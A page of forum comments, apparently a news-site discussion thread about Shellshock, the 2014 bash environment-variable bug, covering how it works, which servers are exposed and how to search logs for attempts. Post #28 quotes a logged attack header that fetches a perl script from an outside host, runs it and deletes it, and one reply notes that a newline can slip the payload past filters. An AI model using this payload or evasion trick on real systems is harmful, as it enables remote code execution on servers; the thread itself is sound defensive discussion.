I'm curious, has anybody reported seeing these signatures from before the bug was published?
Inside Shellshock: How hackers are using it to exploit systems
21–30 of 94 posts
Re: Inside Shellshock: How hackers are using it to exploit systems
#22That /^cleanlogs/ just made me cringe. Holy crap.
Re: Inside Shellshock: How hackers are using it to exploit systems
#23Great article. I'm surprised there were no examples of fork bombs in the DOS section, though : ) http://en.m.wikipedia.org/wiki/Fork_bomb
Re: Inside Shellshock: How hackers are using it to exploit systems
#24> (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.) Can anybody point me to a good explanation of ShellShock's technical details?
In bash, function definitions can be exported via environment variables; in handling that bash also executes whatever immediately follows the function definition; Apache sets environment variables (without sanitizing them for the above) based on incoming HTTP request headers which are controlled by end user clients.
Because this functionality in bash predated Apache, it could be argued that Apache ought to perform sanitization before setting env vars from user input given that bash might execute it, but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug.
Wikipedia has a good explanation at http://en.wikipedia.org/wiki/Shellshock_(software_bug)
Re: Inside Shellshock: How hackers are using it to exploit systems
#25Earlier quoted context omitted.
I'm doing the same, and wondering to myself if that string is actually comprehensive. Are there variants, and if so can they be included as log search patterns without tons of false positives? I've got lots of wget commands in there like guylhem noted, attempting to either drop a script (and clean up) or phone home to normal random websites that were unfortunately compromised. The phone home requests have all sorts o…
`:;' is not the best string to use to identify shellshock exploit attempts, as the contents of the function are ignored and can change. Searching for `() {' _should_ (and I'm happy to be corrected here) find most attempts at exploiting, since that's the key sequence that triggers bash's "parse this environment variable as a function" behaviour.
Some web servers helpfully remove some sorts of white space, like newlines. '() \n{' will get past many filters, then hit some CGIs behind such servers.
I would worry similarly about some mail headers being helpfully reassembled, then handed to procmail in environment variables.
Re: Inside Shellshock: How hackers are using it to exploit systems
#26That /^cleanlogs/ just made me cringe. Holy crap.
Yeah, the entire script is horrifying. It's been a long time since I've seen malware source, especially targeting *nix.
Re: Inside Shellshock: How hackers are using it to exploit systems
#27So I'm not very knowledgeable about WebSec stuff. Why aren't more servers getting pounded by this, if it's such a big vulnerability? I expected reports of massive password and SSN reveals all over, but I haven't heard of any major spills. Am I just not in the right circles, or is there a reason an outbreak hasn't occurred?
This is not actually a big problem for 99.9% of web apps out there. Only CGI web apps actually need to be concerned. Anything else is pretty much sensationalism. It absolutely is a problem for many other things, but non-CGI web apps is almost always not one of them.
Some FastCGI frameworks helpfully set up environment variables in the web app---you know, just in case you run a sub-process and want it to work the same way it would have from a CGI.
See Per-Request Environment Variables at http://www.fastcgi.com/devkit/doc/fastcgi-prog-guide/ch1intr...
These aren't ubiquitous---but it also isn't just CGI programs that expose this vulnerability.
Re: Inside Shellshock: How hackers are using it to exploit systems
#28It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…
Wow, that same machine is hitting one of my servers. Interesting.
Re: Inside Shellshock: How hackers are using it to exploit systems
#29I'm curious, has anybody reported seeing these signatures from before the bug was published?
I imagine a truly successful attack would involve clearing the logs of any footprints that we would be looking for. But worth checking anyway for those sloppy folks.
Re: Inside Shellshock: How hackers are using it to exploit systems
#30118.192.48.6 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 767 " http://www.baidu.com" "() { :; }; echo X-Bash-Test: `echo iOGFtdnW7o`;" My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any popen() stuff.
Even if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead.
Good work, Debian!